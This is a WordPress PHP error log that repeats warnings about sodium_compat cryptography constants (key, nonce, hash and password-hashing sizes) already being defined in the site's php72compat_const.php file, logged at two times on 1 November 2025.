[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 37
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_CONTEXTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 38
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 39
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 42
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 43
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 44
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 45
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SESSIONKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 46
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 47
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 48
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 49
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 50
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 51
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 52
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 53
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 54
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 55
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 56
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 57
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 58
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 59
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 60
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 61
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 62
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 63
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 64
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 65
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 66
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 67
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 68
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 69
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_SCALARBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 70
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 71
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 72
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 73
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 74
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 75
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 76
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 77
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 78
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 79
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 81
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 82
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 83
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 84
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 85
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 86
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 87
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 88
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 89
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 90
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 91
[01-Nov-2025 05:04:25 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 92
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MAJOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 3
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MINOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 4
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_LIBRARY_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 5
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 7
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 8
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 9
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 10
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 11
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 12
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 13
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 14
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 15
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 16
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 17
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 18
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 19
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 20
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 21
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 22
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 23
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 24
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 25
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 26
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 27
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 28
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEALBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 29
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 30
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 31
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 32
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 33
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 34
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 35
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 36
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 37
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_CONTEXTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 38
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 39
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 42
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 43
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 44
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 45
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SESSIONKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 46
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 47
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 48
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 49
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 50
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 51
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 52
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 53
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 54
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 55
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 56
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 57
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 58
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 59
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 60
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 61
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 62
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 63
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 64
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 65
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 66
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 67
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 68
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 69
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_SCALARBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 70
